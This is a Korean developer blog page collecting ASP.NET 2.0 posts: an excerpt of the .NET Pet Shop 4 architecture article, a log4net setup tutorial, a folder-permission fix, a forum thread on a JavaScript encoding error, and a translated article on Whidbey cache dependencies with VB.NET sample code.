    // Carry over profile property values from an anonymous to an // authenticated state void Profile_MigrateAnonymous(Object sender, ProfileMigrateEventArgs e) { ProfileCommon anonProfile = Profile.GetProfile(e.AnonymousID); // Merge anonymous shopping cart items to the authenticated // shopping cart items foreach (CartItemInfo cartItem in anonProfile.ShoppingCart.CartItems) Profile.ShoppingCart.Add(cartItem); // Merge anonymous wishlist items to the authenticated wishlist // items foreach (CartItemInfo cartItem in anonProfile.WishList.CartItems) Profile.WishList.Add(cartItem); // Clean up anonymous profile ProfileManager.DeleteProfile(e.AnonymousID); AnonymousIdentificationModule.ClearAnonymousIdentifier(); // Save profile Profile.Save();}

    Listing 8. Shopping Cart

    using System;using System.Collections.Generic;using PetShop.Model;namespace PetShop.BLL { /// <summary> /// An object to represent a customer's shopping cart. /// This class is also used to keep track of customer's wish list. /// </summary> [Serializable] public class Cart { // Internal storage for a cart private Dictionary<string, CartItemInfo> cartItems = new Dictionary<string, CartItemInfo>(); /// <summary> /// Calculate the total for all the cartItems in the Cart /// </summary> public decimal Total { get { decimal total = 0; foreach (CartItemInfo item in cartItems.Values) total += item.Price * item.Quantity; return total; } } /// <summary> /// Update the quantity for item that exists in the cart /// </summary> /// <param name="itemId">Item Id</param> /// <param name="qty">Quantity</param> public void SetQuantity(string itemId, int qty) { cartItems[itemId].Quantity = qty; } /// <summary> /// Return the number of unique items in cart /// </summary> public int Count { get { return cartItems.Count; } } /// <summary> /// Add an item to the cart. /// When ItemId to be added has already existed, this method /// will update the quantity instead. /// </summary> /// <param name="itemId">Item Id of item to add</param> public void Add(string itemId) { CartItemInfo cartItem; if (!cartItems.TryGetValue(itemId, out cartItem)) { Item item = new Item(); ItemInfo data = item.GetItem(itemId); if (data != null) { CartItemInfo newItem = new CartItemInfo(itemId, data.ProductName, 1, (decimal)data.Price, data.Name, data.CategoryId, data.ProductId); cartItems.Add(itemId, newItem); } } else cartItem.Quantity++; } /// <summary> /// Add an item to the cart. /// When ItemId to be added has already existed, this method /// will update the quantity instead. /// </summary> /// <param name="item">Item to add</param> public void Add(CartItemInfo item) { CartItemInfo cartItem; if (!cartItems.TryGetValue(item.ItemId, out cartItem)) cartItems.Add(item.ItemId, item); else cartItem.Quantity += item.Quantity; } /// <summary> /// Remove item from the cart based on itemId /// </summary> /// <param name="itemId">ItemId of item to remove</param> public void Remove(string itemId) { cartItems.Remove(itemId); } /// <summary> /// Returns all items in the cart. Useful for looping through /// the cart. /// </summary> /// <returns>Collection of CartItemInfo</returns> public ICollection<CartItemInfo> CartItems { get { return cartItems.Values; } } /// <summary> /// Method to convert all cart items to order line items /// </summary> /// <returns>A new array of order line items</returns> public LineItemInfo[] GetOrderLineItems() { LineItemInfo[] orderLineItems = new LineItemInfo[cartItems.Count]; int lineNum = 0; foreach (CartItemInfo item in cartItems.Values) orderLineItems[lineNum] = new LineItemInfo(item.ItemId, item.Name, ++lineNum, item.Quantity, item.Price); return orderLineItems; } /// <summary> /// Clear the cart /// </summary> public void Clear() { cartItems.Clear(); } }}

Benefit of the ASP.NET 2.0 Profile

With ASP.NET 2.0, users' shopping carts are stored in a database and are persisted, so that if users come back 2-3 days later, they still have their cart. Additionally, the Profile service is "on demand," whereas session state objects get re-loaded per page on any page that references it; an advantage of Profile service is that it does not get loaded unless it's actually needed.

Furthermore, using the Profile feature we are able to remove Account and Profile tables from the existing Pet Shop 3 database—and this resulted in fewer lines of code in the Business Logic and Data Access Layers, as well.

Master Page

ASP.NET 2.0 provides a new technique for maintaining a consistent look and feel for an entire Web site by using a Master Page. The .NET Pet Shop 4 Master Page contains the header, LoginView control, navigation menu, and HTML for rendering content. All of the other Pet Shop Web forms are wired to use the Pet Shop 4 Master Page.

See it in Action

The .NET Pet Shop 4 Master Page is depicted in figure 3.

Figure 3. .NET Pet Shop 4 Master Page

Listing 9. Master Page wire-up

<%@ Page AutoEventWireup="true" Language="C#" MasterPageFile="~/MasterPage.master" Title="Products" Inherits="PetShop.Web.Products" CodeFile="~/Products.aspx.cs" %>

Benefit of ASP.NET 2.0 Master Pages

Using the Master Page, we are able to simply create a single layout that we can reuse for all of the .NET Pet Shop pages. Any changes to the layout during development are made directly to the Master Page, leaving the other pages simply for content. In contrast, the user interface in .NET Pet Shop 3 is implemented by encapsulating the header and navigation bar within an ASP.NET User Control called NavBar.ascx. Each of the Web forms in .NET Pet Shop 3 contain the NavBar user control as well as HTML to control the layout. Changing the layout would involve fumbling with the NavBar user control or modifying the HTML on each of the Web forms.

ASP.NET 2.0 Wizard Control

The check-out process in .NET Pet Shop 4 is contained within a single Wizard control that resides on the CheckOut page. The Wizard is a new control that provides a simple way to implement a step-by-step process. The Wizard control manages the navigation between forms, the data persistence, and the state management in each step.

See it in Action

Click here for larger image

Figure 4. Check-out Wizard control

Benefit of the ASP.NET 2.0 Wizard Control (Click on the image for a larger picture)

The process of checking out in .NET Pet Shop 3 involves a series of ASP.NET pages that communicate with each other. From the shopping cart, the user can go to the check-out page; from there, users enter their billing information and finally the order is processed. The flow is controlled by a custom class called CartController, which manages the communication between the steps using Session State.

Figure 5. .NET Pet Shop 3 Checkout Process

The Wizard Control makes implementing the checkout very simple in .NET Pet Shop 4 with less code.

Database Level Cache Invalidation

New to ASP.NET 2.0 is the SQL Cache Dependency object that can be used to invalidate the cache when the data from SQL Server has been changed. Pet Shop 4 uses the SQL Cache Dependency object for invalidating the Category, Products, and Item caches.

Out of the box, Pet Shop includes only the implementation for table-based cache dependency. Developers can implement their own caching invalidation mechanisms by extending the CacheDependency object. Once implemented, the CacheDependency for Pet Shop 4 can be configured from web.config.

Note that the SQL CacheDependency for Pet Shop 4 is only designed to run against SQL Server. For Oracle, .NET Pet Shop 4 will fall back to time-based cache expiration.

See it in Action

The cache dependency for SQL Server is shown in figure 6:

Figure 6. Pet Shop Table Cache Dependency

Benefit of Database Level Cache Invalidation

With cache invalidation we can keep presented content consistent with the data in the Pet Shop databases, yet still realize the benefits of object caching on the middle tier to reduce runtime processing requirements on the middle tier, and reduce database calls. This increases application scalability (it can handle more concurrent users), while also reducing load on the database.

Asynchronous Order Processing

One of the other changes that we have made is adding an option to configure whether the ordering process should commit the transactions directly (synchronously) to the databases or to a designated queue in which the orders will be processed at a later point (Asynchronous). In asynchronous order processing, when a user place an order, it goes to a queue. .NET Pet Shop 4 has an implementation for storing in Microsoft Messaging Queue (MSMQ). This queue of orders can be processed later by the Order Processor console app. An advantage of this approach is that the orders database does not even have to be running for customers to still be able to place orders. Since MSMQ is using a durable queue, all orders are still captured with no interruption for users, and will be inserted into the database once the processing application and the orders database come online again.

See it in Action

To handle the algorithm variations between synchronous and asynchronous order processing, we use the Strategy Pattern. In the Strategy Pattern, the order placement method is decoupled from the BLL.Order.Insert method. Based on the web.config setting for OrderStrategy, the corresponding Insert method is used instead. By default, the .NET Pet Shop is configured to work synchronously.

To configure the Order Strategy, change the OrderStrategyClass value from OrderSynchronous to OrderAsynchronous. In addition, for asynchronous order processing, MSMQ must be enabled with a private queue created for Pet Shop, as shown here.

<add key="OrderStrategyClass" value="PetShop.BLL.OrderSynchronous"/> <add key="OrderQueuePath" value="private queue path"/>

Synchronous Order Placement

Figure 7 depicts synchronous order placement. When users check out their orders, the checkout button click event handler calls the Order Insert method within the BLL. For synchronous order placement, the BLL Order object uses the OrderSynchronous Insert method to insert a new order into the Orders database and then update the Inventory database to reflect the current inventory after the order has completed submission.

Figure 7. Synchronous order placement

Asynchronous Order Placement

Figure 8 depicts asynchronous order placement. On the Web site, when the user clicks the CheckOut button, the BLL Order Insert method is called. However, since the OrderStrategy is configured for Asynchronous, the OrderAsynchronous strategy is used. The OrderAsynchronous insert method plainly sends the order info to a queue.

Figure 8. Asynchronous Order Placement

Order Processor

The Order Processor is a console application that we created to receive the orders that are in the Messaging implementation and transcribe these orders into the Order and Inventory databases. The Order Processor works multi-threaded, and processes orders in batches. It re-uses the Synchronous order strategy to insert the new order into the Orders database and to decrement the Inventory database.

Benefit of Asynchronous Order Processing

Processing orders asynchronously can be found in many other enterprise applications. De-coupling the order process is one way we made .NET Pet Shop 4 perform better as the orders are processed in multi-threaded fashion.

Architecture

As with the previous versions of the .NET Pet Shop, the architecture focuses on a clean separation between user interface, application logic, and data. This clean separation allows us to change an implementation in one layer without affecting the other layers. For example, we can change the database vendor without having to change the business logic code.

The diagram in figure 9 depicts the high-level logical architecture for .NET Pet Shop 4. The Presentation Layer (WEB) contains the various user interface elements. The Business Logic Layer (BLL) holds the application logic and business components. The Data Access Layer (DAL) is responsible for interacting with the databases for data storage and retrieval. Each of the tiers will be discussed in more detail in the following sections.

Click here for larger image

Figure 9. Architecture diagram of .NET Pet Shop 4 (Click on the image for a larger picture)

Abstract Factory Pattern

.NET Pet Shop 4 uses the Abstract Factory Design Pattern, in which interfaces are used to create families of related or dependent objects without specifying their concrete classes. One example of this pattern is within the Data Access Layer tier, which has projects for IDAL, DAL Factory, Oracle DAL, and SQL Server DAL. Abstract factories are created for caching, inventory and orders data access, messaging, and profile data access.

Presentation Layer

ASP.NET 2.0 includes many built-in features that increase developer productivity. In building .NET Pet Shop 4, we have redesigned the user interface to take advantage of the new features that ASP.NET 2.0 provides, such as Master Pages, Themes, Skins, Wizard control, and Login control. To maintain the user accounts, we utilize the Membership provider instead of using ASP.NET Session state to store users' shopping carts and favorite products. The new Profile provider can store a strongly typed shopping cart that makes programming and managing user state much easier. Using all of these features, we are able to quickly implement the Pet Shop presentation layer changes.

User Interface Enhancements

.NET Pet Shop 4 sports a clean new look and feel. The new user interface supports a larger pets catalog and makes it easier for users to find and purchase the various new pets. When we changed the look and feel of the .NET Pet Shop user interface, we had fun with the sample pets available from the .NET Pet Shop. The .NET Pet Shop now houses penguins, bugs, pandas, and even skeletons, dinosaurs, and transparent cats! We also improve the shopping experience by adding a wish list, breadcrumb trail, and other subtleties.

Encrypting Configuration Information

The .NET Framework 2.0 introduces a protected configuration feature that we used to encrypt connection strings. With this feature we can encrypt the sensitive database username and password information.

The .NET Pet Shop Installer will automatically run a script to encrypt the connection strings stored within the web.config file when you select the "full source and database install" option.

To perform the configuration encryption on the "source only" install, run the EncryptWebConfig.bat file found in the installed directory.

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -pef "connectionStrings" "C:\Program Files\Microsoft\.NET Pet Shop 4.0\Web"

Business Logic Layer

The business logic for.NET Pet Shop 4 retains much of the business logic from the .NET Pet Shop 3, such as Model objects and how they are used. The few changes are the use of Generics, asynchronous order placement, and the System.Transactions namespace.

Model Objects

.NET Pet Shop 4 carries over Model objects from .NET Pet Shop 3. These objects are custom lightweight classes that mimic the structure of database tables. These objects are shared across the application layers as a way to communicate with each other. For example, when returning multiple products in a category, we are returning a collection of Product Model objects.

Data Access Layer

The BLL communicates with the Data Access Layer to access data from the Pet Shop 4 databases. .NET Pet Shop 4 uses four databases: Inventory, Orders, Membership, and Profile. As with .NET Pet Shop 3, this version supports both Oracle and SQL Server databases.

Order and Inventory Schema

The database schema for Orders and Inventory used in the .NET Pet Shop 4 is ported from the .NET Pet Shop 3. A few fields that are not used are removed. The databases have the following overall structure of tables:

Figure 10. Pet Shop Orders Database

Figure 11. Pet Shop Inventory Database

Profile Database Schema

The Profile database is used to store user specific information, such as account info and shopping cart contents. The database has the following overall structure of tables:

Figure 12. Pet Shop Profile Database

Conclusions

The Microsoft .NET Pet Shop 4.0 application serves to highlight the key technologies and architecture that can be used to build scalable enterprise Web applications. Due to the enhancements in ASP.NET 2.0, we are able to build an n-tier enterprise application more quickly, allowing us to spend time building a richer and more fully featured Pet Shop.

The key changes and new features of .NET 2.0 we targeted were:

  • System.Transactions: Allows faster processing of transactions and easier deployment without use of the COM+ catalog.
  • Generics: Allows us to return strongly typed collections of objects as opposed to the IList collections in .NET Pet Shop 3. Enables easier coding since Intellisense will recognize the typed objects in the collection.
  • ASP.NET 2.0 Membership Service: Provides a common user authentication and management framework that can dramatically reduce code associated with creating and maintaining user account information. Allowed us to use pre-built user authentication and registration controls instead of writing them from scratch. The end result is less code to write for login, login status, user identity, user registration, and password recovery.
  • ASP.NET 2.0 Profile Service: Replaces use of the session object for user-specific information such as the shopping cart. Provides a transacted, cluster-safe store for user session information that can be maintained across multiple user visits to the site.
  • ASP.NET 2.0 Master Page: Provides a new technique for maintaining a consistent look and feel for an entire Web site, and makes it easy to apply global changes to the look and feel of a site across many pages simply by updating the Master Page.
  • ASP.NET 2.0 Wizard Control: A new server-side control that provides a simple way to implement a step-by-step process. We used it to reduce the amount of coding in the checkout process for Pet Shop 4.0.
  • ASP.NET 2.0 is the SQL Cache Dependency: Allows middle-tier object caches to be invalidated automatically as backend database information changes. This will work with SQL 2000 at the table level (as we did with PetShop 4), and with SQL Server 2005 it can also work at the individual row level. With this feature, cached database information can always be kept up to date while still taking advantage of caching to reduce load on middle-tier and database servers.
  • Asynchronous Order Processing Option via Messaging: While not a .NET 2.0 feature (also available in .NET 1.1), we extended PetShop 4 with the ability to optionally use messaging via MSMQ and System.Messaging versus using standard synchronous transactions directly to the database. This decouples the order process for the orders database, providing an added degree of reliability and potentially scalability.
Posted by tornado
|

현재 개발서버는 윈 2000 에 IIS 5.0 이고,

 

코딩하는 환경은 윈 2003 서버에 IIS 6.0 이다.

 

코딩 열심히 해서 개발 서버에 배포하고 aspx 페이지를 요청하면 아래와 같은 메세지가 나온다.

 

서버 응용 프로그램을 사용할 수 없습니다.

 

 

devpia 에서 찾아본 결과 apsnet_regiis.exe -i  를 실행하라고 나온다 ㅡㅡ;

 

그런데.. 문제는 정말 간단한데 있었다.

 

웹어플리케이션이 있는 폴더에 ASP.NET 권한이 없어서 발생한 문제다.

 

해당 폴더 등록정보에서 ASP.NET 계정 추가후 문제 해결.

 

Posted by tornado
|

log4net 사용

.NET/ASP.NET 2006. 3. 27. 14:33

1. log4net 사용방법.

 

 프로그램 다운로드
http://logging.apache.org/log4net/downloads.html 에서 다운로드


2. 압축을 풀고, bin\net\1.1\release 디렉토리에서 log4net.dll 파일을
프로젝트 bin 폴더에 복사한다.

3. Web.config 파일에 log4net Section 등록.

-----------------------------------------------------------------------------------------------------------------------------------------------
  <configSections>

   <!-- Log4net Section -->
   
   <section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler,log4net" />
 

  </configSections>

-----------------------------------------------------------------------------------------------------------------------------------------------

configSections 가 존재할 경우 <section /> 부분만 기존 섹션에 추가한다.

아래는 elmah 로깅 서비스와 같이 존재할 경우임.
-----------------------------------------------------------------------------------------------------------------------------------------------
  <configSections>

    <!-- Allows for a new section group to the Web.config -->

    <sectionGroup name="gotdotnet.elmah">

      <!-- Indicates that inside the section group there will be an errorLog section -->

      <section
          name="errorLog"
          type="System.Configuration.SingleTagSectionHandler, System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />

      <!-- Indicates that inside the section group there will be an errorMail section -->

      <section
          name="errorMail"
          type="System.Configuration.SingleTagSectionHandler, System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />

    </sectionGroup>

    <!-- Log4net Section -->
   
   <section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler,log4net" />
 

  </configSections>
  -----------------------------------------------------------------------------------------------------------------------------------------------


4. log4net 섹션 세부 설정.
  -----------------------------------------------------------------------------------------------------------------------------------------------
  <log4net>
    <appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender,log4net">
      <param name="File" value="d:\\WebDevel\\CloseBetaLog\CloseBeta.log" />
      <param name="AppendToFile" value="true" />
      <param name="DatePattern" value="-yyyy-MM-dd" />
      <param name="RollingStyle" value="Date" />
      <param name="StaticLogFileName" value="true" />

      <layout type="log4net.Layout.PatternLayout,log4net">
        <param name="ConversionPattern" value="%d [%t] %-5p %c [%x] - %m%n" />
      </layout>
    </appender>

    <!-- root 카테고리를 설정하고 appender들을 추가한다. 기본우선순위 (default priority) 역시 설정된다. -->
    <root>
      <priority value="WARN" />
      <appender-ref ref="RollingLogFileAppender" />
    </root>

  </log4net>
  -----------------------------------------------------------------------------------------------------------------------------------------------

5. Global.asax 의 Application_Start 메서드에서 log4net 을 초기화 시킨다.

    void Application_Start(object sender, EventArgs e)
    {
        // Code that runs on application startup
       
        // log4net Configure
        log4net.Config.DOMConfigurator.Configure();
    }


6. 사용방법.


클래스를 하나 생성.

using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

using log4net;

public partial class LoggingTest : System.Web.UI.Page
{
    private static ILog logger = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);


    protected void Page_Load(object sender, EventArgs e)
    {
        LoggingTest.logger.Error(System.DateTime.Now + " : ???④릿 濡?洹??????);
       
    }
}


7. 로그 확인.

d:\WebDevel\CloseBetaLog\CloseBeta.log 를 열어보면 아래와 같이 남는다.

2006-03-27 14:15:26,053 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,084 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,115 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,147 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,178 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,209 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:18:48,584 [2400] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:18:48 : 에 남긴 로그입니다


8. 윈도우 Tail 유틸리티로 로그 꼬리만 계속 보기.

http://ophilipp.free.fr/op_tail.htm  에서 다운로드 후 로그 파일을 지정한 후 start 하면 됨.


 

Posted by tornado
|

ASP.NET에서 자바 스크립트를 외부에서 불러서 사용할때 에러가 나는데요... 김태환 / hasul  
김태환님께 메시지 보내기    김태환님의 블로그가 없습니다  

 아래와 같이 자바 스크립트를 외부에서 불러 서 쓸때요

실행을 시키면 종결되지 않는 문자열 상수라는 에러 메세지가 뜹니다

vs.net에서 작성을 할때 이런 현상이 나타 나네요 왜 그런겁니까?

아무리 생각 해도 모르겠습니다

도움 부탁 드립니다


<%@ Page language="c#" Codebehind="WebForm1.aspx.cs" AutoEventWireup="false" Inherits="Fm21.test.WebForm1" %>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<HTML>

    <HEAD>

        <title>WebForm1</title>

        <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">

        <meta name="CODE_LANGUAGE" Content="C#">

        <meta name="vs_defaultClientScript" content="JavaScript">

        <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">


 <script language="javascript" src="http://localhost/Fm21/JavaScript/JScript1.js"></script>   <----이렇게 해도 안되고

 <script language="javascript" src="../javaScript/JScript1.js"></script>    <---  요렇게 해도 마찬가지네요 ^^;;


    </HEAD>

    <body MS_POSITIONING="FlowLayout">


        <form id="Form1" method="post" runat="server">

            <INPUT type="button" value="Button" onclick="btnClick();">


        </form>


    </body>

</HTML>


이 글에 평점 주기:  
  2004-03-25 오후 3:51:43   /  번호: 40042  / 평점:  (-)  
 Re: 으흠.. 김기훈 / shaorang78  
김기훈님께 메시지 보내기    김기훈님의 블로그가 없습니다  
 
애초에 그 자바스크립트파일에 에러가 있나보네요..

http://localhost/Fm21/JavaScript/JScript1.js
이파일안에 잘못된 내용을 고치세요..
이 글에 평점 주기:  
  2004-03-25 오후 4:55:17   /  번호: 40050  / 평점:  (-)  
 Re: ascx 파일에 스크립트를 직접 넣고 ascx 파일을 불러다 써보세요..(한줄답변) 최종욱 / Blacksky  
최종욱님께 메시지 보내기    최종욱님의 블로그가 없습니다  

ascx 파일에 스크립트를 직접 넣고 ascx 파일을 불러다 써보세요..

이 글에 평점 주기:  
  2004-03-25 오후 5:40:43   /  번호: 40058  / 평점:  (9.0)  
 Re: 이문제 해결 했습니다........ 김태환 / hasul  
김태환님께 메시지 보내기    김태환님의 블로그가 없습니다  

web.config 파일에 보면

<globalization

            requestEncoding="utf-8"

            responseEncoding="utf-8r"

   />

아래와 같이 고쳐 주시면 실행이 됩니다

 <globalization

            requestEncoding="euc-kr"

            responseEncoding="euc-kr"

   />


아무래도 한글에 대한 표시 때문에 그런 스크립트 오류가 뜨는거 같음

Posted by tornado
|

ASP.NET Whidbey의 향상된 캐싱 기능

G. Andrew Duthie
Graymad Enterprises, Inc.

2004년 2월

적용 대상:
   Microsoft ASP.NET

요약: ASP.NET Whidbey에서 사용할 수 있는 새 캐싱 기능을 살펴봅니다. ASP.NET 응용 프로그램 개발자는 이 캐싱 기능을 사용하여 차세대 ASP.NET 응용 프로그램의 성능을 크게 향상시킬 수 있습니다(23페이지/인쇄 페이지 기준).

이 기사의 샘플 코드를 다운로드하십시오.

목차

소개
캐시 종속성의 확장성
SQL 캐시 무효화
사후 캐시 대체
결론
관련 서적

소개

ASP.NET의 가장 뛰어나고 유용한 기능, 그리고 논쟁의 여지가 있지만 가장 간과되는 기능 중 하나는 페이지 출력 및 임의 데이터 모두의 캐싱을 다양하게 지원하는 기능입니다. ASP.NET을 사용하면 메모리 내 렌더링된 페이지 출력, 사용자 컨트롤의 출력, 데이터 집합에서 수집한 내용 등을 저장할 수 있습니다. ASP.NET에는 간단한 시간 기준 캐시 만료에서 키 및 파일 기준 캐시 종속성에 이르기까지 캐시의 업데이트 시점을 결정하기 위한 다양한 기술도 있습니다.

현재 릴리스의 ASP.NET에서 캐싱을 사용해 본 적이 있다면 캐싱이 성능 및 확장성을 크게 향상시킬 수 있다는 것을 알고 있을 것입니다. 콘텐츠를 데이터베이스나 다시 처리된 페이지에서 제공하는 대신 메모리에서 제공하므로 성능이 향상되고, 이제 모든 페이지에 프로세서, 파일 시스템 및 데이터베이스를 사용할 필요가 없으므로 확장성이 향상됩니다.

그러나 ASP.NET 팀은 ASP.NET 캐싱의 현재 상태에 만족하지 않고 ASP.NET Whidbey에 다수의 유용한 새 캐싱 기능을 추가했습니다. 이 기사에서는 이러한 새 캐싱 기능에 대해 설명합니다. 이 기사는 다음의 세 가지 기능 위주로 설명되어 있습니다.

  • 확장 가능한 캐시 종속성
  • SQL 캐시 무효화
  • 사후 캐시 대체

캐시 종속성의 확장성

ASP.NET 1.1에서는 종속성을 사용하여 캐시 항목을 자동으로 만료할 수 있지만, 이 기능은 다소 제한되어 있습니다. 즉, 파일 및 기타 캐시 키를 종속성 항목으로 사용할 수 있지만 여기까지가 한계입니다. 물론 이것도 유용하지만 대다수의 사람들은 종속성 메커니즘을 직접 확장할 수 있게 되기를 기대해 왔습니다. 이제 더 이상 Sealed가 아닌 새로운 버전의 CacheDependency 클래스가 포함되어 있으므로 종속성 메커니즘 자체를 확장하는 것이 가능합니다. 더 이상 Sealed가 아니라는 것은 이제 이 클래스로부터 상속할 수 있다는 의미입니다. 새 버전의 클래스를 통해 개발자는 세 가지 새로운 멤버를 사용할 수 있습니다.

  • GetUniqueID - 재정의할 때 사용자 지정 캐시 종속성의 고유 식별자를 호출자에게 반환할 수 있습니다.
  • DependencyDispose - 사용자 지정 캐시 종속성 클래스에서 사용하는 리소스를 처리하는 데 사용됩니다. 사용자 지정 캐시 종속성을 만들 때 이 메서드를 구현해야 합니다.
  • NotifyDependencyChanged - 캐시 항목의 만료가 사용자 지정 캐시 종속성 인스턴스에 종속되도록 할 때 호출합니다.

마지막 두 멤버를 다음 샘플에서 사용해 보겠습니다. 예제에서는 블로그나 기타 뉴스 소스로부터 RSS(Really Simple Syndication) 피드를 읽고 결과를 XmlDocument로 캐시하는 사용자 지정 캐시 종속성을 만드는 방법을 보여 줍니다. 그런 다음 XMLDocument를 ASP.NET Xml 컨트롤과 함께 사용하여 블로그의 콘텐츠(XML 스타일시트를 사용하여 HTML로 변환됨)를 표시합니다.

사용자 지정 캐시 종속성을 만드는 첫 번째 단계는 CacheDependency 클래스로부터 상속하는 새 클래스를 만드는 것입니다. 정규화된 이름을 사용하지 않고 이 작업을 수행하려면 System.Web.Caching 네임스페이스를 가져와야 합니다.

참고   또한 쉽게 액세스할 수 있도록 Timer 클래스에 대해 System.Threading을, XmlDocument 클래스에 대해 System.Xml을 가져옵니다.

클래스 정의는 다음과 비슷합니다.

Imports SystemImports System.WebImports System.ThreadingImports System.Web.CachingImports System.XmlNamespace v2_Caching Public Class BlogCacheDependency Inherits CacheDependency '여기에 클래스 코드 입력End Namespace(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

그 다음에는 일부 멤버 변수를 추가합니다.

' 타이머는 분리된 스레드에서 종속성 검사를 수행하는 데 사용됩니다.Shared TickTock As TimerDim m_PollTimeSec As Integer = 300Dim m_RSS As XmlDocumentDim m_Feed As String

Timer 클래스는 RSS 피드를 폴링하여 변경 사항을 찾는 데 사용됩니다. 다른 변수는 폴 시간, 초기 RSS가 포함될 XmlDocument, 그리고 RSS 피드의 URL입니다.

XmlDocument를 표시할 수 있도록 Public Property를 추가합니다.

Public ReadOnly Property RSS() As XmlDocument Get Return m_RSS End GetEnd Property

RSS를 클라이언트에 반환하기만 하면 되므로 이 속성은 ReadOnly로 표시되고 Set 접근자가 없어야 합니다.

그 다음에는 BlogCacheDependency 클래스의 두 주요 요소인 생성자와 CheckDependencyCallback 메서드를 살펴보겠습니다. 생성자는 아래에 표시되어 있습니다.

' BlogCacheDependency 생성자Public Sub New(ByVal Feed As String, ByVal PollTimeSec As Integer) m_Feed = Feed m_PollTimeSec = PollTimeSec m_RSS = GetRSS(m_Feed) If TickTock Is Nothing Then TickTock = New Timer(New _ TimerCallback(AddressOf CheckDependencyCallback), Me, _ (m_PollTimeSec * 1000), (m_PollTimeSec * 1000)) End IfEnd Sub

생성자는 검색 및 검사할 RSS 피드의 URL이 들어 있는 문자열과 피드의 각 폴링 요청 사이 시간(초)이 들어 있는 정수를 받습니다. 해당 값이 로컬 멤버 변수에 저장된 후 m_RSS 멤버 변수는 GetRSS 메서드를 호출하여 채워집니다. 이 과정은 아래에서 곧 설명할 예정입니다. 마지막으로 생성자는 Timer 멤버 변수가 인스턴스화되었는지 확인하고, 인스턴스화되어 있지 않으면 타이머의 새 인스턴스를 만들어서 m_PollTimeSec 멤버 변수의 값을 기준으로 CheckDependencyCallback 메서드를 주기적으로 호출하도록 설정합니다.

아래에 표시된 CheckDependencyCallbackBlogCacheDependency(Sender 인수로부터 CheckDependencyCallback에 할당됨) 형식의 로컬 인스턴스 변수를 만든 다음 GetRSS 메서드에서 추출한 새 XmlDocument를 만들고 OuterXml 속성 값을 m_RSS 멤버 변수(생성자에서 검색한 원래 XmlDocument가 포함되어 있음)의 해당 속성 값과 비교합니다. 두 값이 동일한 경우에는 아무런 작업도 수행되지 않습니다. 하지만 서로 다른 경우에는 코드가 NotifyDependencyChanged를 호출하여 ASP.NET 캐시 엔진으로 하여금 캐시된 항목을 제거하도록 합니다.

Public Sub CheckDependencyCallback(ByVal Sender As Object) Dim BCD As BlogCacheDependency = Sender Dim NewRSS As XmlDocument = GetRSS(m_Feed) If Not NewRSS.OuterXml = m_RSS.OuterXml Then BCD.NotifyDependencyChanged(BCD, EventArgs.Empty) End IfEnd Sub

GetRSS 메서드는 매우 간단합니다.

Function GetRSS(ByVal Feed As String) As XmlDocument Dim RSSDoc As New XmlDocument RSSDoc.Load(m_Feed) Return RSSDocEnd Function

이 메서드는 간단히 XmlDocument 형식의 로컬 변수를 만들고 XmlDocumentLoad 메서드를 호출하여 m_Feed 변수에 포함된 URL을 이 메서드에 전달하고 XmlDocument를 호출자에게 반환합니다. RSS 피드를 검색하는 것은 매우 간단합니다. RSS는 XML이므로 단 몇 줄의 코드로 RSS 피드를 아주 쉽게 가져올 수 있습니다. 나중에는 XSL을 사용하여 RSS 피드를 표시하도록 지정하는 것이 매우 간단하다는 것을 알게 될 것입니다.

마지막으로 사용자 지정 종속성 클래스가 처리될 때 몇 가지를 정리해야 합니다. DependencyDispose 메서드를 재정의하고, 이 안에서 Timer 인스턴스를 처리하면 됩니다.

Protected Overrides Sub DependencyDispose() TickTock = Nothing MyBase.DependencyDispose()End Sub

이제 사용자 지정 캐시 종속성 클래스의 코드가 완료되었습니다. 50줄도 안 되는 코드가 전부입니다. Whidbey의 새로운 코드 컴파일 기능  덕분에 클래스를 웹 사이트의 Code 폴더에 저장하기만 하면 ASP.NET에서 클래스를 자동으로 컴파일합니다.

